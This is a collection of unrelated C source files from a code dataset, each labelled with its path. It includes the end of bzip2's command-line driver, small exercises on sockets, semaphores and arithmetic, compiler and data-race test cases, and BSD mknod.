if ( srcMode == SM_F2F && !forceOverwrite && notAStandardFile ( inName )) {
if (noisy)
fprintf ( stderr, "%s: Input file %s is not a normal file.\n",
progName, inName );
setExit(1);
return;
}
if ( /* srcMode == SM_F2F implied && */ cantGuess ) {
if (noisy)
fprintf ( stderr,
"%s: Can't guess original name for %s -- using %s\n",
progName, inName, outName );
/* just a warning, no return */
}
if ( srcMode == SM_F2F && fileExists ( outName ) ) {
if (forceOverwrite) {
remove(outName);
} else {
fprintf ( stderr, "%s: Output file %s already exists.\n",
progName, outName );
setExit(1);
return;
}
}
if ( srcMode == SM_F2F && !forceOverwrite &&
(n=countHardLinks ( inName ) ) > 0) {
fprintf ( stderr, "%s: Input file %s has %d other link%s.\n",
progName, inName, n, n > 1 ? "s" : "" );
setExit(1);
return;
}
if ( srcMode == SM_F2F ) {
/* Save the file's meta-info before we open it. Doing it later
means we mess up the access times. */
saveInputFileMetaInfo ( inName );
}
switch ( srcMode ) {
case SM_I2O:
inStr = stdin;
outStr = stdout;
if ( isatty ( fileno ( stdin ) ) ) {
fprintf ( stderr,
"%s: I won't read compressed data from a terminal.\n",
progName );
fprintf ( stderr, "%s: For help, type: `%s --help'.\n",
progName, progName );
setExit(1);
return;
};
break;
case SM_F2O:
inStr = fopen ( inName, "rb" );
outStr = stdout;
if ( inStr == NULL ) {
fprintf ( stderr, "%s: Can't open input file %s:%s.\n",
progName, inName, strerror(errno) );
if ( inStr != NULL ) fclose ( inStr );
setExit(1);
return;
};
break;
case SM_F2F:
inStr = fopen ( inName, "rb" );
outStr = fopen_output_safely ( outName, "wb" );
if ( outStr == NULL) {
fprintf ( stderr, "%s: Can't create output file %s: %s.\n",
progName, outName, strerror(errno) );
if ( inStr != NULL ) fclose ( inStr );
setExit(1);
return;
}
if ( inStr == NULL ) {
fprintf ( stderr, "%s: Can't open input file %s: %s.\n",
progName, inName, strerror(errno) );
if ( outStr != NULL ) fclose ( outStr );
setExit(1);
return;
};
break;
default:
panic ( "uncompress: bad srcMode" );
break;
}
if (verbosity >= 1) {
fprintf ( stderr, " %s: ", inName );
pad ( inName );
fflush ( stderr );
}
/*--- Now the input and output handles are sane. Do the Biz. ---*/
outputHandleJustInCase = outStr;
deleteOutputOnInterrupt = True;
magicNumberOK = uncompressStream ( inStr, outStr );
outputHandleJustInCase = NULL;
/*--- If there was an I/O error, we won't get here. ---*/
if ( magicNumberOK ) {
if ( srcMode == SM_F2F ) {
applySavedTimeInfoToOutputFile ( outName );
deleteOutputOnInterrupt = False;
if ( !keepInputFiles ) {
IntNative retVal = remove ( inName );
ERROR_IF_NOT_ZERO ( retVal );
}
}
} else {
unzFailsExist = True;
deleteOutputOnInterrupt = False;
if ( srcMode == SM_F2F ) {
IntNative retVal = remove ( outName );
ERROR_IF_NOT_ZERO ( retVal );
}
}
deleteOutputOnInterrupt = False;
if ( magicNumberOK ) {
if (verbosity >= 1)
fprintf ( stderr, "done\n" );
} else {
setExit(2);
if (verbosity >= 1)
fprintf ( stderr, "not a bzip2 file.\n" ); else
fprintf ( stderr,
"%s: %s is not a bzip2 file.\n",
progName, inName );
}
}
/*---------------------------------------------*/
static
void testf ( Char *name )
{
FILE *inStr;
Bool allOK;
struct MY_STAT statBuf;
deleteOutputOnInterrupt = False;
if (name == NULL && srcMode != SM_I2O)
panic ( "testf: bad modes\n" );
copyFileName ( outName, (Char*)"(none)" );
switch (srcMode) {
case SM_I2O: copyFileName ( inName, (Char*)"(stdin)" ); break;
case SM_F2F: copyFileName ( inName, name ); break;
case SM_F2O: copyFileName ( inName, name ); break;
}
if ( srcMode != SM_I2O && containsDubiousChars ( inName ) ) {
if (noisy)
fprintf ( stderr, "%s: There are no files matching `%s'.\n",
progName, inName );
setExit(1);
return;
}
if ( srcMode != SM_I2O && !fileExists ( inName ) ) {
fprintf ( stderr, "%s: Can't open input %s: %s.\n",
progName, inName, strerror(errno) );
setExit(1);
return;
}
if ( srcMode != SM_I2O ) {
MY_STAT(inName, &statBuf);
if ( MY_S_ISDIR(statBuf.st_mode) ) {
fprintf( stderr,
"%s: Input file %s is a directory.\n",
progName,inName);
setExit(1);
return;
}
}
switch ( srcMode ) {
case SM_I2O:
if ( isatty ( fileno ( stdin ) ) ) {
fprintf ( stderr,
"%s: I won't read compressed data from a terminal.\n",
progName );
fprintf ( stderr, "%s: For help, type: `%s --help'.\n",
progName, progName );
setExit(1);
return;
};
inStr = stdin;
break;
case SM_F2O: case SM_F2F:
inStr = fopen ( inName, "rb" );
if ( inStr == NULL ) {
fprintf ( stderr, "%s: Can't open input file %s:%s.\n",
progName, inName, strerror(errno) );
setExit(1);
return;
};
break;
default:
panic ( "testf: bad srcMode" );
break;
}
if (verbosity >= 1) {
fprintf ( stderr, " %s: ", inName );
pad ( inName );
fflush ( stderr );
}
/*--- Now the input handle is sane. Do the Biz. ---*/
outputHandleJustInCase = NULL;
allOK = testStream ( inStr );
if (allOK && verbosity >= 1) fprintf ( stderr, "ok\n" );
if (!allOK) testFailsExist = True;
}
/*---------------------------------------------*/
static
void license ( void )
{
fprintf ( stderr,
"bzip2, a block-sorting file compressor. "
"Version %s.\n"
" \n"
" Copyright (C) 1996-2019 by Julian Seward.\n"
" \n"
" This program is free software; you can redistribute it and/or modify\n"
" it under the terms set out in the LICENSE file, which is included\n"
" in the bzip2 source distribution.\n"
" \n"
" This program is distributed in the hope that it will be useful,\n"
" but WITHOUT ANY WARRANTY; without even the implied warranty of\n"
" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n"
" LICENSE file for more details.\n"
" \n",
BZ2_bzlibVersion()
);
}
/*---------------------------------------------*/
static
void usage ( Char *fullProgName )
{
fprintf (
stderr,
"bzip2, a block-sorting file compressor. "
"Version %s.\n"
"\n usage: %s [flags and input files in any order]\n"
"\n"
" -h --help print this message\n"
" -d --decompress force decompression\n"
" -z --compress force compression\n"
" -k --keep keep (don't delete) input files\n"
" -f --force overwrite existing output files\n"
" -t --test test compressed file integrity\n"
" -c --stdout output to standard out\n"
" -q --quiet suppress noncritical error messages\n"
" -v --verbose be verbose (a 2nd -v gives more)\n"
" -L --license display software version & license\n"
" -V --version display software version & license\n"
" -s --small use less memory (at most 2500k)\n"
" -1 .. -9 set block size to 100k .. 900k\n"
" --fast alias for -1\n"
" --best alias for -9\n"
"\n"
" If invoked as `bzip2', default action is to compress.\n"
" as `bunzip2', default action is to decompress.\n"
" as `bzcat', default action is to decompress to stdout.\n"
"\n"
" If no file names are given, bzip2 compresses or decompresses\n"
" from standard input to standard output. You can combine\n"
" short flags, so `-v -4' means the same as -v4 or -4v, &c.\n"
# if BZ_UNIX
"\n"
# endif
,
BZ2_bzlibVersion(),
fullProgName
);
}
/*---------------------------------------------*/
static
void redundant ( Char* flag )
{
fprintf (
stderr,
"%s: %s is redundant in versions 0.9.5 and above\n",
progName, flag );
}
/*---------------------------------------------*/
/*--
All the garbage from here to main() is purely to
implement a linked list of command-line arguments,
into which main() copies argv[1 .. argc-1].
The purpose of this exercise is to facilitate
the expansion of wildcard characters * and ? in
filenames for OSs which don't know how to do it
themselves, like MSDOS, Windows 95 and NT.
The actual Dirty Work is done by the platform-
specific macro APPEND_FILESPEC.
--*/
typedef
struct zzzz {
Char *name;
struct zzzz *link;
}
Cell;
/*---------------------------------------------*/
static
void *myMalloc ( Int32 n )
{
void* p;
p = malloc ( (size_t)n );
if (p == NULL) outOfMemory ();
return p;
}
/*---------------------------------------------*/
static
Cell *mkCell ( void )
{
Cell *c;
c = (Cell*) myMalloc ( sizeof ( Cell ) );
c->name = NULL;
c->link = NULL;
return c;
}
/*---------------------------------------------*/
static
Cell *snocString ( Cell *root, Char *name )
{
if (root == NULL) {
Cell *tmp = mkCell();
tmp->name = (Char*) myMalloc ( 5 + strlen(name) );
strcpy ( tmp->name, name );
return tmp;
} else {
Cell *tmp = root;
while (tmp->link != NULL) tmp = tmp->link;
tmp->link = snocString ( tmp->link, name );
return root;
}
}
/*---------------------------------------------*/
static
void addFlagsFromEnvVar ( Cell** argList, Char* varName )
{
Int32 i, j, k;
Char *envbase, *p;
envbase = getenv(varName);
if (envbase != NULL) {
p = envbase;
i = 0;
while (True) {
if (p[i] == 0) break;
p += i;
i = 0;
while (isspace((Int32)(p[0]))) p++;
while (p[i] != 0 && !isspace((Int32)(p[i]))) i++;
if (i > 0) {
k = i; if (k > FILE_NAME_LEN-10) k = FILE_NAME_LEN-10;
for (j = 0; j < k; j++) tmpName[j] = p[j];
tmpName[k] = 0;
APPEND_FLAG(*argList, tmpName);
}
}
}
}
/*---------------------------------------------*/
#define ISFLAG(s) (strcmp(aa->name, (s))==0)
IntNative main ( IntNative argc, Char *argv[] )
{
Int32 i, j;
Char *tmp;
Cell *argList;
Cell *aa;
Bool decode;
/*-- Be really really really paranoid :-) --*/
if (sizeof(Int32) != 4 || sizeof(UInt32) != 4 ||
sizeof(Int16) != 2 || sizeof(UInt16) != 2 ||
sizeof(Char) != 1 || sizeof(UChar) != 1)
configError();
/*-- Initialise --*/
outputHandleJustInCase = NULL;
smallMode = False;
keepInputFiles = False;
forceOverwrite = False;
noisy = True;
verbosity = 0;
blockSize100k = 9;
testFailsExist = False;
unzFailsExist = False;
numFileNames = 0;
numFilesProcessed = 0;
workFactor = 30;
deleteOutputOnInterrupt = False;
exitValue = 0;
i = j = 0; /* avoid bogus warning from egcs-1.1.X */
/*-- Set up signal handlers for mem access errors --*/
signal (SIGSEGV, mySIGSEGVorSIGBUScatcher);
# if BZ_UNIX
# ifndef __DJGPP__
signal (SIGBUS, mySIGSEGVorSIGBUScatcher);
# endif
# endif
copyFileName ( inName, (Char*)"(none)" );
copyFileName ( outName, (Char*)"(none)" );
copyFileName ( progNameReally, argv[0] );
progName = &progNameReally[0];
for (tmp = &progNameReally[0]; *tmp != '\0'; tmp++)
if (*tmp == PATH_SEP) progName = tmp + 1;
/*-- Copy flags from env var BZIP2, and
expand filename wildcards in arg list.
--*/
argList = NULL;
addFlagsFromEnvVar ( &argList, (Char*)"BZIP2" );
addFlagsFromEnvVar ( &argList, (Char*)"BZIP" );
for (i = 1; i <= argc-1; i++)
APPEND_FILESPEC(argList, argv[i]);
/*-- Find the length of the longest filename --*/
longestFileName = 7;
numFileNames = 0;
decode = True;
for (aa = argList; aa != NULL; aa = aa->link) {
if (ISFLAG("--")) { decode = False; continue; }
if (aa->name[0] == '-' && decode) continue;
numFileNames++;
if (longestFileName < (Int32)strlen(aa->name) )
longestFileName = (Int32)strlen(aa->name);
}
/*-- Determine source modes; flag handling may change this too. --*/
if (numFileNames == 0)
srcMode = SM_I2O; else srcMode = SM_F2F;
/*-- Determine what to do (compress/uncompress/test/cat). --*/
/*-- Note that subsequent flag handling may change this. --*/
opMode = OM_Z;
if ( (strstr ( progName, "unzip" ) != 0) ||
(strstr ( progName, "UNZIP" ) != 0) )
opMode = OM_UNZ;
if ( (strstr ( progName, "z2cat" ) != 0) ||
(strstr ( progName, "Z2CAT" ) != 0) ||
(strstr ( progName, "zcat" ) != 0) ||
(strstr ( progName, "ZCAT" ) != 0) ) {
opMode = OM_UNZ;
srcMode = (numFileNames == 0) ? SM_I2O : SM_F2O;
}
/*-- Look at the flags. --*/
for (aa = argList; aa != NULL; aa = aa->link) {
if (ISFLAG("--")) break;
if (aa->name[0] == '-' && aa->name[1] != '-') {
for (j = 1; aa->name[j] != '\0'; j++) {
switch (aa->name[j]) {
case 'c': srcMode = SM_F2O; break;
case 'd': opMode = OM_UNZ; break;
case 'z': opMode = OM_Z; break;
case 'f': forceOverwrite = True; break;
case 't': opMode = OM_TEST; break;
case 'k': keepInputFiles = True; break;
case 's': smallMode = True; break;
case 'q': noisy = False; break;
case '1': blockSize100k = 1; break;
case '2': blockSize100k = 2; break;
case '3': blockSize100k = 3; break;
case '4': blockSize100k = 4; break;
case '5': blockSize100k = 5; break;
case '6': blockSize100k = 6; break;
case '7': blockSize100k = 7; break;
case '8': blockSize100k = 8; break;
case '9': blockSize100k = 9; break;
case 'V':
case 'L': license(); break;
case 'v': verbosity++; break;
case 'h': usage ( progName );
exit ( 0 );
break;
default: fprintf ( stderr, "%s: Bad flag `%s'\n",
progName, aa->name );
usage ( progName );
exit ( 1 );
break;
}
}
}
}
/*-- And again ... --*/
for (aa = argList; aa != NULL; aa = aa->link) {
if (ISFLAG("--")) break;
if (ISFLAG("--stdout")) srcMode = SM_F2O; else
if (ISFLAG("--decompress")) opMode = OM_UNZ; else
if (ISFLAG("--compress")) opMode = OM_Z; else
if (ISFLAG("--force")) forceOverwrite = True; else
if (ISFLAG("--test")) opMode = OM_TEST; else
if (ISFLAG("--keep")) keepInputFiles = True; else
if (ISFLAG("--small")) smallMode = True; else
if (ISFLAG("--quiet")) noisy = False; else
if (ISFLAG("--version")) license(); else
if (ISFLAG("--license")) license(); else
if (ISFLAG("--exponential")) workFactor = 1; else
if (ISFLAG("--repetitive-best")) redundant(aa->name); else
if (ISFLAG("--repetitive-fast")) redundant(aa->name); else
if (ISFLAG("--fast")) blockSize100k = 1; else
if (ISFLAG("--best")) blockSize100k = 9; else
if (ISFLAG("--verbose")) verbosity++; else
if (ISFLAG("--help")) { usage ( progName ); exit ( 0 ); }
else
if (strncmp ( aa->name, "--", 2) == 0) {
fprintf ( stderr, "%s: Bad flag `%s'\n", progName, aa->name );
usage ( progName );
exit ( 1 );
}
}
if (verbosity > 4) verbosity = 4;
if (opMode == OM_Z && smallMode && blockSize100k > 2)
blockSize100k = 2;
if (opMode == OM_TEST && srcMode == SM_F2O) {
fprintf ( stderr, "%s: -c and -t cannot be used together.\n",
progName );
exit ( 1 );
}
if (srcMode == SM_F2O && numFileNames == 0)
srcMode = SM_I2O;
if (opMode != OM_Z) blockSize100k = 0;
if (srcMode == SM_F2F) {
signal (SIGINT, mySignalCatcher);
signal (SIGTERM, mySignalCatcher);
# if BZ_UNIX
signal (SIGHUP, mySignalCatcher);
# endif
}
if (opMode == OM_Z) {
if (srcMode == SM_I2O) {
compress ( NULL );
} else {
decode = True;
for (aa = argList; aa != NULL; aa = aa->link) {
if (ISFLAG("--")) { decode = False; continue; }
if (aa->name[0] == '-' && decode) continue;
numFilesProcessed++;
compress ( aa->name );
}
}
}
else
if (opMode == OM_UNZ) {
unzFailsExist = False;
if (srcMode == SM_I2O) {
uncompress ( NULL );
} else {
decode = True;
for (aa = argList; aa != NULL; aa = aa->link) {
if (ISFLAG("--")) { decode = False; continue; }
if (aa->name[0] == '-' && decode) continue;
numFilesProcessed++;
uncompress ( aa->name );
}
}
if (unzFailsExist) {
setExit(2);
exit(exitValue);
}
}
else {
testFailsExist = False;
if (srcMode == SM_I2O) {
testf ( NULL );
} else {
decode = True;
for (aa = argList; aa != NULL; aa = aa->link) {
if (ISFLAG("--")) { decode = False; continue; }
if (aa->name[0] == '-' && decode) continue;
numFilesProcessed++;
testf ( aa->name );
}
}
if (testFailsExist) {
if (noisy) {
fprintf ( stderr,
"\n"
"You can use the `bzip2recover' program to attempt to recover\n"
"data from undamaged sections of corrupted files.\n\n"
);
}
setExit(2);
exit(exitValue);
}
}
/* Free the argument list memory to mollify leak detectors
(eg) Purify, Checker. Serves no other useful purpose.
*/
aa = argList;
while (aa != NULL) {
Cell* aa2 = aa->link;
if (aa->name != NULL) free(aa->name);
free(aa);
aa = aa2;
}
return exitValue;
}
/*-----------------------------------------------------------*/
/*--- end bzip2.c ---*/
/*-----------------------------------------------------------*/
|
the_stack_data/111076937.c
|
#ifdef _WIN32
#define DL_EXPORT __declspec( dllexport )
#else
#define DL_EXPORT
#endif
DL_EXPORT int TestDynamicLoaderData = 0;
DL_EXPORT void TestDynamicLoaderSymbolPointer()
{
}
|
the_stack_data/90766095.c
|
// forked from https://www.thegeekstuff.com/2011/12/c-socket-programming
#include <arpa/inet.h>
#include <errno.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
int listenfd = 0, connfd = 0;
struct sockaddr_in serv_addr;
char sendBuff[1025];
time_t ticks;
listenfd = socket(AF_INET, SOCK_STREAM, 0);
memset(&serv_addr, '0', sizeof(serv_addr));
memset(sendBuff, '0', sizeof(sendBuff));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(5000);
bind(listenfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
listen(listenfd, 10);
while (1) {
connfd = accept(listenfd, (struct sockaddr *)NULL, NULL);
ticks = time(NULL);
snprintf(sendBuff, sizeof(sendBuff), "%.24s\r\n", ctime(&ticks));
write(connfd, sendBuff, strlen(sendBuff));
close(connfd);
sleep(1);
}
}
|
the_stack_data/86878.c
|
#include <stdio.h>
int main()
{
unsigned int size = 5; // 計算したい要素数
unsigned int x[] = {
0x11111111,
0x22222222,
0x33333333,
0x44444444,
0x55555555};
unsigned int *xp = x;
unsigned int y[] = {
0xbbbbbbbb,
0xcccccccc,
0xdddddddd,
0xeeeeeeee,
0xffffffff};
unsigned int *yp = y;
unsigned int vl;
while (size > 0)
{
asm volatile("vsetvli %0, %1, e32, m1"
: "=r"(vl)
: "r"(size));
size -= vl;
asm volatile("vle32.v v1,(%0)" ::"r"(xp));
xp += vl;
asm volatile("vle32.v v2,(%0)" ::"r"(yp));
yp += vl;
asm volatile("vadd.vv v3,v2,v1");
}
asm volatile("unimp");
return 0;
}
|
the_stack_data/48576396.c
|
#include <stdio.h>
#include <stdlib.h>
/**< Define constants */
#define SECS_PER_MIN 60
#define MINS_PER_HOURS 60
#define SECS_PER_HOUR 3600
int main()
{
unsigned int seconds, minutes, hours, secs_left, mins_left;
printf("Enter number of seconds ( <65000 ): ");
scanf("%u", &seconds);
hours = seconds / SECS_PER_HOUR;
minutes = seconds / SECS_PER_MIN;
mins_left = minutes % SECS_PER_HOUR;
secs_left = seconds % SECS_PER_MIN;
printf("%u seconds is equal to ", seconds);
printf("%u h, %u m, and %u s \n", hours, mins_left, secs_left);
return 0;
}
|
the_stack_data/120603.c
|
//reader_writer problem in c using semaphore
#include<stdio.h>
#include<pthread.h>
#include<semaphore.h>
sem_t mutex;
sem_t db;
int readercount=0;
pthread_t reader1,reader2,writer1,writer2;
void *reader(void *);
void *writer(void *);
main()
{
sem_init(&mutex,0,1);
sem_init(&db,0,1);
while(1)
{
pthread_create(&reader1,NULL,reader,"1");
pthread_create(&reader2,NULL,reader,"2");
pthread_create(&writer1,NULL,writer,"1");
pthread_create(&writer2,NULL,writer,"2");
}
}
void *reader(void *p)
{
printf("prevoius value %dn \n",mutex);
sem_wait(&mutex);
printf("Mutex acquired by reader %dn \n",mutex);
readercount++;
if(readercount==1) sem_wait(&db);
sem_post(&mutex);
printf("Mutex returned by reader %dn \n",mutex);
printf("Reader %s is Readingn \n",p);
//sleep(3);
sem_wait(&mutex);
printf("Reader %s Completed Readingn \n",p);
readercount--;
if(readercount==0) sem_post(&db);
sem_post(&mutex);
}
void *writer(void *p)
{
printf("Writer is Waiting \n");
sem_wait(&db);
printf("Writer %s is writing \n ",p);
sem_post(&db);
//sleep(2);
}
|
the_stack_data/107145.c
|
extern void abort (void);
typedef long fract32;
int main ()
{
fract32 t;
t = __builtin_bfin_sub_fr1x32 (0x40003000, 0x70002000);
if (t != 0xd0001000)
abort ();
return 0;
}
|
the_stack_data/31389148.c
|
/* Escreva uma função para calcular e retornar o perímetro de um retângulo. Esta função deverá receber os valores das duas dimensões (base e altura) e retornar o valor do perímetro.
Perímetro: valor encontrado quando se soma os quatro lados da figura. É expresso pela fórmula: 2(b + h). Assim, ele corresponde a soma de duas vezes a base e a altura (2b + 2h).
*/
int calculaperimetro ( int base, int altura) {
int perimetro = (2 * base + 2 *altura);
return perimetro;
}
int main(void) {
int base, altura,perimetro;
printf("Entre com o valor da Base do Retangulo: ");
scanf(" %i", &base);
printf("Entre com o valor da Altura do Retangulo: ");
scanf(" %i", &altura);
perimetro = calculaperimetro(base, altura);
printf ("O Perimetro do retangulo vale %i \n\n", perimetro);
return 0;
}
|
the_stack_data/25138328.c
|
#ifdef notdef
/*
* Automatically generates the primitive number include file and the
* corresponding Forth dictionary initialization file.
*
* Reads "forth.ip" looking for lines like:
* /*$p not */ case NOT:
*
* Creates "init.x" dictionary initialization file with lines like:
* p not
*
* Creates "prims.h" include file with sequentially-numbered lines like:
* #define NOT 12
*
*/
#endif
#include <stdio.h>
int main(int argc, char *argv[])
// int argc;
// char *argv[];
{
FILE *ffd; /* forth.c */
FILE *ifd; /* init.x */
FILE *pfd; /* prims.h */
FILE *vfd; /* vars.h */
int c;
int lastc;
int primtype;
int primno = 1;
int varno = 1; // Var 0 is the threads for the forth vocabulary
int nvocs = 1;
int cfseen = 0;
if (argc != 2) {
fprintf(stderr, "Usage: makename filename\n");
return(1);
}
if ((ffd = fopen(argv[1], "r")) == NULL) {
perror("makename: input file");
return(1);
}
if ((ifd = fopen("init.x", "w")) == NULL) {
perror("makename: init.x");
return(1);
}
if ((pfd = fopen("prims.h", "w")) == NULL) {
perror("makename: prims.h");
return(1);
}
if ((vfd = fopen("vars.h", "w")) == NULL) {
perror("makename: vars.h");
return(1);
}
fprintf(vfd, "// 'forth' vocabulary threads are at index 0\n");
for ( ; (c = fgetc(ffd)) != EOF; lastc = c) {
if (lastc != '*' || c != '$')
continue;
/* Copy out e.g. "p not" */
primtype=fgetc(ffd); /* 'p','i','c','u','U','t' */
if (primtype == 'c' && !cfseen) {
fprintf(pfd, "#define\tMAXPRIM\t%d\n", primno);
cfseen = 1;
}
if (primtype == 'U') { /* Allocate unnamed user locations */
do {
nvocs++;
varno++;
primtype = fgetc(ffd);
} while (primtype == 'U');
continue;
}
fputc(primtype, ifd);
fputc(fgetc(ffd), ifd); /* ' ' */
while ((c = fgetc(ffd)) != ' ') {
/*
* The forth word times-divide-mod looks like
* the end of a C comment, so we write its
* '*' character as '%' in forth.c .
*/
if (c == '%')
c = '*';
fputc(c,ifd);
}
fputc('\n', ifd);
/* Search for "case " */
while ((c = fgetc(ffd)) != 'e')
;
(void)fgetc(ffd); /* Eat ' ' */
if (primtype == 'u' || primtype == 't' || primtype == 'd') {
/* Write, for example #define LAST 12 */
fputs("#define\t", vfd);
while ((c = fgetc(ffd)) != ':') /* Copy name */
fputc(c,vfd);
fprintf(vfd, "\t%d\n", varno++);
} else {
/* Write, for example #define NOT 12 */
fputs("#define\t", pfd);
while ((c = fgetc(ffd)) != ':') /* Copy name */
fputc(c,pfd);
fprintf(pfd, "\t%d\n", primno++);
}
}
fprintf(vfd, "#define\tNVOCS\t%d\n", nvocs);
fprintf(vfd, "#define\tNEXT_VAR\t%d\n", varno);
fprintf(pfd, "#define\tMAXCF\t%d\n", primno);
fprintf(ifd, "e\n"); /* End of list code */
fclose(ffd);
fclose(ifd);
fclose(pfd);
return(0);
}
|
the_stack_data/57949648.c
|
#ifdef _MSC_VER
#include <float.h>
#endif
extern double _mysin(double x);
extern double _mycos(double y);
extern double _mypow(double x, double y);
extern float _mypowf(float x, float y);
#if defined(_MSC_VER) && defined(_M_IX86)
#define fpu_save() _control87(0, 0)
#define fpu_set_single() _control87(_PC_24, _MCW_PC)
#define fpu_set_double() _control87(_PC_53, _MCW_PC)
#define fpu_restore(x) _control87((x), _MCW_PC);
#else
#define fpu_save() 0
#define fpu_set_single() (void)0
#define fpu_set_double() (void)0
#define fpu_restore(x)
#endif /* _MSC_VER */
double mysin(double x)
{
unsigned state = fpu_save();
double y;
fpu_set_double();
y = _mysin(x);
fpu_restore(state);
return y;
}
double mycos(double x)
{
unsigned state = fpu_save();
double y;
fpu_set_double();
y = _mycos(x);
fpu_restore(state);
return y;
}
double mypow(double x, double y)
{
unsigned state = fpu_save();
double z;
fpu_set_double();
z = _mypow(x, y);
fpu_restore(state);
return z;
}
float mypowf(float x, float y)
{
unsigned state = fpu_save();
float z;
fpu_set_single();
z = _mypowf(x, y);
fpu_restore(state);
return z;
}
|
the_stack_data/43660.c
|
#include <stdio.h>
static int x = 10;
static int *px = &x;
int foo(int x, int y) {
return x + y;
}
static int (*fptr)(int, int) = &foo;
struct S {
int a, b, c;
char x, y, z;
long f, p, q;
};
int diff = ((char*)&(((struct S *)0)->f) - (char*)0);
int main() {
if (diff != 16) return 1;
*px = 42;
if (x != 42) return 2;
if (fptr(42, 24) != 66) return 3;
return 0;
}
|
the_stack_data/64126.c
|
#include<stdio.h>
int main(void) {
printf("Hello Mila");
}
|
the_stack_data/1134388.c
|
/*
* Copyright (c) 1989, 1993
* The Regents of the University of California. All rights reserved.
*
* This code is derived from software contributed to Berkeley by
* Kevin Fall.
*
* %sccs.include.redist.c%
*/
#ifndef lint
static char copyright[] =
"@(#) Copyright (c) 1989, 1993\n\
The Regents of the University of California. All rights reserved.\n";
#endif /* not lint */
#ifndef lint
static char sccsid[] = "@(#)mknod.c 8.1 (Berkeley) 06/05/93";
#endif /* not lint */
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
main(argc, argv)
int argc;
char **argv;
{
extern int errno;
u_short mode;
char *strerror();
if (argc != 5) {
(void)fprintf(stderr,
"usage: mknod name [b | c] major minor\n");
exit(1);
}
mode = 0666;
if (argv[2][0] == 'c')
mode |= S_IFCHR;
else if (argv[2][0] == 'b')
mode |= S_IFBLK;
else {
(void)fprintf(stderr,
"mknod: node must be type 'b' or 'c'.\n");
exit(1);
}
if (mknod(argv[1], mode, makedev(atoi(argv[3]), atoi(argv[4]))) < 0) {
(void)fprintf(stderr,
"mknod: %s: %s\n", argv[1], strerror(errno));
exit(1);
}
exit(0);
}
|
the_stack_data/165767383.c
|
#include <pthread.h>
struct {
int n1;
int n2;
int n3;
int n4;
pthread_mutex_t m1;
pthread_mutex_t m2;
} s = { 0, 1, 2, 3, PTHREAD_MUTEX_INITIALIZER, PTHREAD_MUTEX_INITIALIZER };
void f1() {
int x = s.n4;
pthread_mutex_lock(&s.m1);
s.n1 = s.n1 + x;
s.n2 = s.n2 + x;
pthread_mutex_unlock(&s.m1);
pthread_mutex_lock(&s.m2);
s.n3 = s.n3 + x;
pthread_mutex_unlock(&s.m2);
}
void *t_fun(void *arg) {
f1();
return NULL;
}
int main() {
pthread_t id1, id2;
pthread_create(&id1, NULL, t_fun, NULL);
pthread_create(&id2, NULL, t_fun, NULL);
pthread_join(id1, NULL);
pthread_join(id2, NULL);
}
|
the_stack_data/123993.c
|
/*
Copyright (c) 2017, Lawrence Livermore National Security, LLC.
Produced at the Lawrence Livermore National Laboratory
Written by Chunhua Liao, Pei-Hung Lin, Joshua Asplund,
Markus Schordan, and Ian Karlin
(email: [email protected], [email protected], [email protected],
[email protected], [email protected])
LLNL-CODE-732144
All rights reserved.
This file is part of DataRaceBench. For details, see
https://github.com/LLNL/dataracebench. Please also see the LICENSE file
for our additional BSD notice.
Redistribution and use in source and binary forms, with
or without modification, are permitted provided that the following
conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the disclaimer below.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the disclaimer (as noted below)
in the documentation and/or other materials provided with the
distribution.
* Neither the name of the LLNS/LLNL nor the names of its contributors
may be used to endorse or promote products derived from this
software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL LAWRENCE LIVERMORE NATIONAL
SECURITY, LLC, THE U.S. DEPARTMENT OF ENERGY OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
A file-scope variable used within a function called by a parallel region.
Use threadprivate to avoid data races.
This is the case for a variable referenced within a construct.
*/
#include <stdio.h>
#include <assert.h>
int sum0=0, sum1=0;
int main()
{
int len=1000;
int i, sum=0;
{
for (i=0;i<len;i++)
{
sum0=sum0+i;
}
}
sum= sum+sum0;
/* reference calculation */
for (i=0;i<len;i++)
{
sum1=sum1+i;
}
printf("sum=%d; sum1=%d\n",sum,sum1);
assert(sum==sum1);
return 0;
}
|
the_stack_data/1112746.c
|
// RUN: %clang -target x86_64-apple-macosx -fembed-bitcode=all -c %s -o /dev/null -### 2>&1 \
// RUN: | FileCheck -check-prefix CHECK-X64 %s
// CHECK-X64: "-cc1"
// CHECK-X64: "-cc1"
// CHECK-X64-NOT: "-fdebug-compilation-dir"
// RUN: %clang -target armv7-apple-ios -fembed-bitcode=all -c %s -o /dev/null -### 2>&1 \
// RUN: | FileCheck -check-prefix CHECK-ARM %s
// CHECK-ARM: "-cc1"
// CHECK-ARM: "-cc1"
// CHECK-ARM: "-target-abi"
// CHECK-ARM: "apcs-gnu"
// CHECK-ARM-NOT: "-fdebug-compilation-dir"
// RUN: %clang -target arm64-apple-ios -fembed-bitcode=all -c %s -o /dev/null -### 2>&1 \
// RUN: | FileCheck -check-prefix CHECK-AARCH64 %s
